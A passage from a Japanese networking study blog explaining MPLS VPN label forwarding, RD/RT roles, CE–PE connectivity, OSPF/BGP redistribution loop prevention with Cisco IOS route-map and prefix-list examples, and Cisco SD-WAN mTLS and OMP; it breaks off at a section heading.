<p class="wp-block-paragraph"><strong>3.PE1 ➔ PE2：MP-BGP UPDATEメッセージの送信:</strong><br><span class="fz-16px">　・PE間（iBGP）通信。<br>　・PE1は、MP-BGP（iBGP）を使ってPE2へアップデートメッセージを直接送信する。<br>　・途中のPルータはこの通信を単なるIPパケット（あるいはBGPパケット）として透過するだけで、中身は見ない。</span></p>



<ul class="wp-block-list">
<li><strong><span class="fz-16px">送信される内容:</span></strong>
<ul class="wp-block-list">
<li><span class="fz-16px"><strong>Destination (NLRI):</strong> <code>65001:100 : 10.1.0.0/24</code>（VPNv4アドレス）</span></li>



<li><span class="fz-16px"><strong>VPN Label:</strong> <code>1001</code>（内側ラベル）</span></li>



<li><span class="fz-16px"><strong>Route Target:</strong> <code>65001:10</code>（Export RT）</span></li>



<li><span class="fz-16px"><strong>BGP Next-Hop:</strong> <code>192.168.1.1</code>（PE1のLoopback IPアドレス）</span></li>
</ul>
</li>
</ul>



<p class="wp-block-paragraph"><strong>4.PE2：RT判定とVRFへの取り込み:</strong><br><span class="fz-16px">　Import処理。<br>　・メッセージを受け取ったPE2は、付与されているRT（<code>65001:10</code>）を確認する。<br>　・PE2の「VRF-A」に設定された <strong>Import RT</strong> と一致するか判定。<br>　・一致した場合、RDを取り除いて<strong>元のIPv4経路（<code>10.1.0.0/24</code>）に戻し、PE2の「VRF-A」のルーティングテーブルに登録</strong>します。<br>　・このとき、ネクストホップ <code>192.168.1.1</code>（PE1）へ向かうための<strong>内側ラベルとして <code>1001</code></strong> を内部テーブル（LFIB）に記憶します。<br>　・<strong>検証:</strong> PE2の <code>show ip route vrf VRF-A</code> に <code>10.1.0.0/24</code> が登録され、ネクストホップがPE1のIPになっていれば完了。</span></p>



<p class="wp-block-paragraph">▼実際のパケットが転送される<br>＊支店（CE2）から本社（CE1: <code>10.1.0.1</code>）宛てにパケットが送信されたときのラベル挙動。</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="[CE2] ──(生のIP)──&gt; [PE2 (入口)] ──(2重ラベル)──&gt; [Pルータ網] ──(内側のみ)──&gt; [PE1 (出口)] ──(生のIP)──&gt; [CE1]" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F8F8F2">[CE2] ──(</span><span style="color: #A6E22E">生のIP</span><span style="color: #F8F8F2">)──</span><span style="color: #F92672">&gt;</span><span style="color: #F8F8F2"> [PE2 (入口)] ──(</span><span style="color: #A6E22E">2重ラベル</span><span style="color: #F8F8F2">)──</span><span style="color: #F92672">&gt;</span><span style="color: #F8F8F2"> [Pルータ網] ──(</span><span style="color: #A6E22E">内側のみ</span><span style="color: #F8F8F2">)──</span><span style="color: #F92672">&gt;</span><span style="color: #F8F8F2"> [PE1 (出口)] ──(</span><span style="color: #A6E22E">生のIP</span><span style="color: #F8F8F2">)──</span><span style="color: #F92672">&gt;</span><span style="color: #F8F8F2"> [CE1]</span></span></code></pre></div>



<ol start="1" class="wp-block-list">
<li><strong>PE2（入口ルータ）でのルックアップ:</strong> <br><span class="fz-16px">CE2から送られてきた生のIPパケット（宛先: <code>10.1.0.1</code>）を「VRF-A」で検索。</span></li>



<li><strong>2重ラベルの着せ替え（Push）:</strong>
<ul class="wp-block-list">
<li><span class="fz-16px"><strong>内側ラベル (<code>1001</code>):</strong> MP-BGPでPE1から教わった「VRF-A識別用ラベル <code>1001</code>」を貼る。</span></li>



<li><span class="fz-16px"><strong>外側ラベル (<code>30</code>):</strong> LDPで隣のPルータから教わった「PE1（<code>192.168.1.1</code>）へ運ぶ用のトランスポートラベル <code>30</code>」を上から重ねて貼る。</span></li>
</ul>
</li>



<li><strong>網内（Pルータ）の転送:</strong> <br><span class="fz-16px">Pルータ群は外側ラベル（<code>30</code>）だけを見てバケツリレー（Swap）を行います。内側ラベル <code>1001</code> は隠されたままで無視される。</span></li>



<li><strong>PE1（出口ルータ）でのカプセル解除（Pop）:</strong>
<ul class="wp-block-list">
<li><span class="fz-16px">外側ラベルが剥がされた状態でPE1に届く（※PHP機能により直前のPルータで外側が剥がされている場合もある）。</span></li>



<li><span class="fz-16px">PE1は<strong>残った内側ラベル <code>1001</code> だけを見て</strong>、「あ！これはVRF-A向けの荷物だ！」と一瞬で判断する。</span></li>



<li><span class="fz-16px">内側ラベル <code>1001</code> を剥がし、生のIPパケットに戻してCE1（本社）へ送信する。</span></li>
</ul>
</li>
</ol>



<p class="wp-block-paragraph"><a href="#label-step5">step5に戻る👆</a></p>



<h3 class="wp-block-heading"><span id="toc31">Q.なんでRDタグが必要なの？</span></h3>



<p class="wp-block-paragraph">Q.RTタグがあるなら、RDっていらなくね？だって、複数の会社で同一のプレフィックスを使っていても、RTで分ければ、問題なくね？<br>A.RDが必要になる理由はPEルータ内のBGPプロセス内で経路を識別するため。参考書に乗っているRDの説明を聞くと「コアネットワーク内で経路を一意に識別するため」と書かれてミスリーディングをされることがある。そもそも、RDの内容をコアルータは見ないので、これは完全なミスリーディングとなる。<br>実際は、PEルータ内のBGPプロセスにおいて、同じプレフィックスがあると属性などから最適な経路のみが登録されることになって、それ以外が破棄されてしまうから。</p>



<h3 class="wp-block-heading"><span id="toc32">Q.もしRDがないと？</span></h3>



<p class="wp-block-paragraph">・パターン１：<br>　PEルータが複数の会社から同一プレフィックスを広告するときに、BGPプロセス内で「あ、これ同一プレフィックスだから１番いい経路だけ広告して他は破棄しよ」となってしまい、広告されなくなる。<br><br>・パターン２：<br>　PEルータが複数の同一プレフィックスから経路を受信しても、その中から最も良い経路のみがテーブルに登録される。たとえ、RTで別々のVRFに登録してね！と明示してあったとしても、それを確認する前にBGPプロセスで最良経路が選択されて、最良経路のみのVRFに登録される。ほかのVRFには登録されなくなる。</p>



<h3 class="wp-block-heading"><span id="toc33">Q.CEルータとPEルータはどうやってつながっているの？</span></h3>



<p class="wp-block-paragraph">CEルータとPEルータはどのようにつながっているのか？専用線のようなものを施設しているのか。それとも、なにか別の接続方法でつながっているのか。それを紐解いていこう！<br>A.「顧客ビルから通信事業者の設備（PEルータ）まで物理的なアクセス回線（光ファイバーなど）を直接引き込んで接続する」のが一般的。<br>インターネット経由で自宅のルータからVPNを張る（IPsec VPN等）のとは異なり、MPLS VPNは「暗号化を使わない代わりに、<span class="blue">物理・論理的にインターネットから完全に孤立させた閉域網</span>を使う。拠点（CE）からPEルータまでの間に「何が存在し、どう繋がっているのか」を以下で詳細を記す。</p>



<p class="wp-block-paragraph"><strong>▼MPLS VPNにおけるCEとPEのフロー</strong></p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="[顧客ビル]                                 [通信事業者（L社）の拠点]
┌───────┐      ┌────────┐                  ┌────────┐      ┌────────┐
│  CE   │ ───&gt; │ ONU /  │ ═══════════════&gt; │ L2/L3  │ ───&gt; │   PE   │
│ルータ │ (LAN)│ ONU(ONU)│   アクセス回線   │ 網装置 │ (LAN)│ルータ  │
└───────┘      └────────┘  (光ファイバー)   └────────┘      └────────┘
                           └───────────────┘
                              ↑ 中間にNTTなどの
                                ダークファイバや
                                網内スイッチが存在" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #F8F8F2">[顧客ビル]                                 [通信事業者（L社）の拠点]</span></span>
<span class="line"><span style="color: #A6E22E">┌───────┐</span><span style="color: #F8F8F2">      </span><span style="color: #E6DB74">┌────────┐</span><span style="color: #F8F8F2">                  </span><span style="color: #E6DB74">┌────────┐</span><span style="color: #F8F8F2">      </span><span style="color: #E6DB74">┌────────┐</span></span>
<span class="line"><span style="color: #A6E22E">│</span><span style="color: #F8F8F2">  </span><span style="color: #E6DB74">CE</span><span style="color: #F8F8F2">   </span><span style="color: #E6DB74">│</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">──</span><span style="color: #F8F8F2">─</span><span style="color: #F92672">&gt;</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">│</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ONU</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">/</span><span style="color: #F8F8F2">  </span><span style="color: #E6DB74">│</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">══════════════</span><span style="color: #F8F8F2">═</span><span style="color: #F92672">&gt;</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">│</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">L2/L3</span><span style="color: #F8F8F2">  </span><span style="color: #E6DB74">│</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">──</span><span style="color: #F8F8F2">─</span><span style="color: #F92672">&gt;</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">│</span><span style="color: #F8F8F2">   </span><span style="color: #E6DB74">PE</span><span style="color: #F8F8F2">   </span><span style="color: #E6DB74">│</span></span>
<span class="line"><span style="color: #A6E22E">│ルータ</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">│</span><span style="color: #F8F8F2"> (LAN)│ ONU(</span><span style="color: #A6E22E">ONU</span><span style="color: #F8F8F2">)│   アクセス回線   │ 網装置 │ (</span><span style="color: #A6E22E">LAN</span><span style="color: #F8F8F2">)│ルータ  │</span></span>
<span class="line"><span style="color: #A6E22E">└───────┘</span><span style="color: #F8F8F2">      </span><span style="color: #E6DB74">└────────┘</span><span style="color: #F8F8F2">  (光ファイバー)   └────────┘      └────────┘</span></span>
<span class="line"><span style="color: #F8F8F2">                           </span><span style="color: #A6E22E">└───────────────┘</span></span>
<span class="line"><span style="color: #F8F8F2">                              </span><span style="color: #A6E22E">↑</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">中間にNTTなどの</span></span>
<span class="line"><span style="color: #F8F8F2">                                </span><span style="color: #A6E22E">ダークファイバや</span></span>
<span class="line"><span style="color: #F8F8F2">                                </span><span style="color: #A6E22E">網内スイッチが存在</span></span></code></pre></div>



<p class="wp-block-paragraph">物理的なアクセス回線（光ファイバーやONU）の仕組み自体は、個人宅の光回線（フレッツ光など）と全く同じ。<br>特別な「MPLS専用の魔法の光ファイバー」が地中に埋まっているわけではない。違いは物理回線ではなく、「集約局（基地局/収容局）でどの網へ振り分けるか（スイッチング）」という論理的な出口（VLANやポート）の話。</p>



<h3 class="wp-block-heading"><span id="toc34">Q.再配布のループ防止方法は？&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="936" height="234" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-24.png" alt="" class="wp-image-8138" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-24.png 936w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-24-300x75.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-24-768x192.png 768w" sizes="(max-width: 936px) 100vw, 936px" /></figure>



<p class="wp-block-paragraph">本文中では「ループ防止のため経路フィルターを設定」としか書かれていないため具体的なイメージがわかない。なので、ここでは再配布時に発生するループを防ぐ方法を具体的に見ていこう！</p>



<h4 class="wp-block-heading"><span id="toc35">手法1：ルートタグ（Route Tag）を使う方法【推奨・最もスマート】</span></h4>



<p class="wp-block-paragraph"><span class="fz-16px">再配布するときに経路へ「目印（数字のタグ）」を貼り付け、そのタグが付いた経路が入ってきたら再配布を拒否する手法。<br><strong>仕組み：</strong><br>　・OSPFからBGPへ渡すとき：「タグ <code>100</code>」 を貼って再配布する<br>　・BGPからOSPFへ渡すとき：「タグ <code>100</code>」が付いている経路は再配布をブロックする。<br>Cisco IOSでの設定コマンド例👇</span></p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="#① タグを定義するルール（Route-map）を作成
route-map OSPF-TO-BGP permit 10
 set tag 100      #再配布する経路に「100」のタグを貼り付ける

route-map BGP-TO-OSPF deny 10
 match tag 100    #「100」のタグが付いた経路は拒否（再配布しない）
route-map BGP-TO-OSPF permit 20
                  #その他の経路は許可

#② BGPプロセス側で再配布を設定
router bgp 65001
 redistribute ospf 1 route-map OSPF-TO-BGP  #タグ100を貼ってBGPへ入れる

#③ OSPFプロセス側で再配布を設定
router ospf 1
 redistribute bgp 64512 subnets route-map BGP-TO-OSPF  #タグ100付きを拒否してOSPFへ入れる" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #88846F">#① タグを定義するルール（Route-map）を作成</span></span>
<span class="line"><span style="color: #A6E22E">route-map</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">OSPF-TO-BGP</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">permit</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">10</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #66D9EF">set</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">tag</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">100</span><span style="color: #F8F8F2">      </span><span style="color: #88846F">#再配布する経路に「100」のタグを貼り付ける</span></span>
<span class="line"></span>
<span class="line"><span style="color: #A6E22E">route-map</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">BGP-TO-OSPF</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">deny</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">10</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">match</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">tag</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">100</span><span style="color: #F8F8F2">    </span><span style="color: #88846F">#「100」のタグが付いた経路は拒否（再配布しない）</span></span>
<span class="line"><span style="color: #A6E22E">route-map</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">BGP-TO-OSPF</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">permit</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">20</span></span>
<span class="line"><span style="color: #F8F8F2">                  </span><span style="color: #88846F">#その他の経路は許可</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F">#② BGPプロセス側で再配布を設定</span></span>
<span class="line"><span style="color: #A6E22E">router</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">bgp</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">65001</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">redistribute</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ospf</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">route-map</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">OSPF-TO-BGP</span><span style="color: #F8F8F2">  </span><span style="color: #88846F">#タグ100を貼ってBGPへ入れる</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F">#③ OSPFプロセス側で再配布を設定</span></span>
<span class="line"><span style="color: #A6E22E">router</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ospf</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">1</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">redistribute</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">bgp</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">64512</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">subnets</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">route-map</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">BGP-TO-OSPF</span><span style="color: #F8F8F2">  </span><span style="color: #88846F">#タグ100付きを拒否してOSPFへ入れる</span></span></code></pre></div>



<h4 class="wp-block-heading"><span id="toc36">手法2：ディストリビューションリスト（Prefix-list）を使う方法</span></h4>



<p class="wp-block-paragraph">自拠点のIPプレフィックスを明示的に指定してフィルタリングする手法。<br>　<strong>仕組み：</strong> <br>　　「自社のIPアドレス範囲（例: <code>10.0.0.0/8</code>）はBGPからOSPFへ絶対に再配布しない」というフィルターを直書きする。<br>　<strong>デメリット：</strong> <br>　　拠点やネットワークが増えるたびにルータのリストを手動で更新する必要がある（タグ方式の方が自動化できるため実務では好まれる）。</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="#プレフィックスリストの場合
ip prefix-list prefix_リスト seq 10 deny 10.0.0.0/16
ip prefix-list prefix_リスト seq 20 permit 0.0.0.0/0 le 32

#ACLの場合
access-list ACL名 deny 10.0.0.0 0.0.255.255
access-list ACL名 permit any

router ospf プロセス番号
 distribute-list prefix prefix_リスト名 in #プレフィックスリストの場合
 distribute-list ACL名 in #ACLの場合
 area 1 filter-list prefix prefix_リスト in #エリア1に入ってくるSAを制限
 
*filter-listはprefix-listしか対応していない。
また、BGPのfilter-listはas-pathリストにしか対応していない。" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #88846F">#プレフィックスリストの場合</span></span>
<span class="line"><span style="color: #A6E22E">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">prefix-list</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">prefix_リスト</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">seq</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">10</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">deny</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">10.0</span><span style="color: #E6DB74">.0.0/16</span></span>
<span class="line"><span style="color: #A6E22E">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">prefix-list</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">prefix_リスト</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">seq</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">20</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">permit</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">0.0</span><span style="color: #E6DB74">.0.0/0</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">le</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">32</span></span>
<span class="line"></span>
<span class="line"><span style="color: #88846F">#ACLの場合</span></span>
<span class="line"><span style="color: #A6E22E">access-list</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ACL名</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">deny</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">10.0</span><span style="color: #E6DB74">.0.0</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">0.0</span><span style="color: #E6DB74">.255.255</span></span>
<span class="line"><span style="color: #A6E22E">access-list</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ACL名</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">permit</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">any</span></span>
<span class="line"></span>
<span class="line"><span style="color: #A6E22E">router</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ospf</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">プロセス番号</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">distribute-list</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">prefix</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">prefix_リスト名</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">in</span><span style="color: #F8F8F2"> </span><span style="color: #88846F">#プレフィックスリストの場合</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">distribute-list</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ACL名</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">in</span><span style="color: #F8F8F2"> </span><span style="color: #88846F">#ACLの場合</span></span>
<span class="line"><span style="color: #F8F8F2"> </span><span style="color: #A6E22E">area</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">1</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">filter-list</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">prefix</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">prefix_リスト</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">in</span><span style="color: #F8F8F2"> </span><span style="color: #88846F">#エリア1に入ってくるSAを制限</span></span>
<span class="line"><span style="color: #F8F8F2"> </span></span>
<span class="line"><span style="color: #F92672">*</span><span style="color: #F8F8F2">filter-listはprefix-listしか対応していない。</span></span>
<span class="line"><span style="color: #A6E22E">また、BGPのfilter-listはas-pathリストにしか対応していない。</span></span></code></pre></div>



<h3 class="wp-block-heading"><span id="toc37">p.12 SD-WANコントローラとエッジルータのmTLS通信とは?&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</span></h3>



<figure class="wp-block-image size-full"><img decoding="async" width="780" height="59" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-27.png" alt="" class="wp-image-8142" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-27.png 780w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-27-300x23.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-27-767x58.png 767w" sizes="(max-width: 780px) 100vw, 780px" /></figure>



<p class="wp-block-paragraph">mTLS通信とは、Mutual TLS（相互TLS認証）の略でクライアントとサーバーの「双方が」お互いにデジタル証明書を提示し合い、「お前は誰だ？」「お前こそ誰だ？」と互いの身元を確認する通信方式のこと。一般的なWebアクセスではクライアント側が証明書を提供しない、いわば片方向のTLSであることが多い。しかし、クライアント側も証明しなければならないときは、双方向のTLS、つまりmTLSが必要となる。</p>



<p class="wp-block-paragraph"><strong>Q.証明書はだれが？いつ？発行してくれるの？<br></strong>誰が発行したかをわかっていないと、事前にどのルートCAの証明書をインストールしておくかわからない<br>A.SD-WAN機器の製造ベンダー（Cisco等）が運営する認証局（ベンダー独自CA）が、工場出荷時（製造工程）に機器固有の<span class="blue">クライアント証明書</span>を発行する。 機器側には、このクライアント証明書および<span class="blue">秘密鍵</span>、そして検証用のベンダーの<span class="blue">ルートCA証明書</span>が、TPM等の耐タンパー性を持つ暗号チップ内（ハードウェア領域）にあらかじめプリインストール（組み込み）される。</p>



<h3 class="wp-block-heading"><span id="toc38">Q.OMPってなに?&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</span></h3>



<p class="wp-block-paragraph">Q.SD-WANを勉強していると必ずと言っていいほど、OMPが出てくる。何かの情報を運ぶんだろうなぁという解釈はあるが、いまいちわかっていない。。。なので、ここですっきりしていこう！</p>



<p class="wp-block-paragraph">A.OMPとは<span class="blue">Overlay Management Protocol</span>の略でCisco SD-WAN（旧Viptela）独自で動作するコントロールプレーン用プロトコル。コントローラーとSD-WANルーター間で、<span class="blue">オーバーレイ網の構築に必要な各種情報</span>を一括してやり取りする「司令塔通信の言葉」。<br>一言で言うと、OMPは「拠点同士が直接IPsecトンネルを張るための仲介役（ルーティング＆鍵情報・IP情報の動的交換プロトコル）」。</p>



<p class="wp-block-paragraph">mTLSでコントロールプレーンが確立された後、コントローラーとルータの間でこの「OMP」という独自ルーティングプロトコルが動き出す。具体的には、以下の3つの情報をOMPでやり取りしている。</p>



<p class="wp-block-paragraph"><strong>１<span style="background-color: rgba(51, 51, 51, 0.2);">. 相手のIPアドレスや暗号鍵の交換（TLOC情報）</span><br></strong><span class="fz-16px">　・ルータAは「自分の今のWAN側IP」や「IPsec用公開鍵」を、OMPに乗せてコントローラーへ送る（収集）。<br>　・コントローラーは、「対向ルータBのWAN側IP」や「対向ルータBの公開鍵」をOMPに乗せてルータAに配る（配布）。<br>　・これによって、ルータAとルータBが手動設定なしで直接IPsecトンネルを全自動で張れるようになる。</span></p>



<p class="wp-block-paragraph"><strong>2. 各拠点配下のLANのルーティング情報（OMP Routes）</strong><br><span class="fz-16px">　・「拠点Aの配下には <code>192.168.10.0/24</code> があるよ」「拠点Bの配下には <code>192.168.20.0/24</code> があるよ」というLAN側のルート情報をOMPでコントローラーへ送る。<br>　・コントローラーがこれを全拠点のルータへ配ることで、各拠点ルータのルーティングテーブルに自動的に相手拠点のルートが追加される。</span></p>



<p class="wp-block-paragraph"><strong>3. サービスやセキュリティポリシー情報（Service Routes / Policies）</strong><br><span class="fz-16px">　・「ファイアウォールはデータセンターを通せ」「Teams通信は各拠点から直出し（ブレイクアウト）しろ」といった動的な経路変更指示をOMPで配る。</span></p>



<h3 class="wp-block-heading"><span id="toc39">Q.なんでわざわざOMPを使うの？</span></h3>



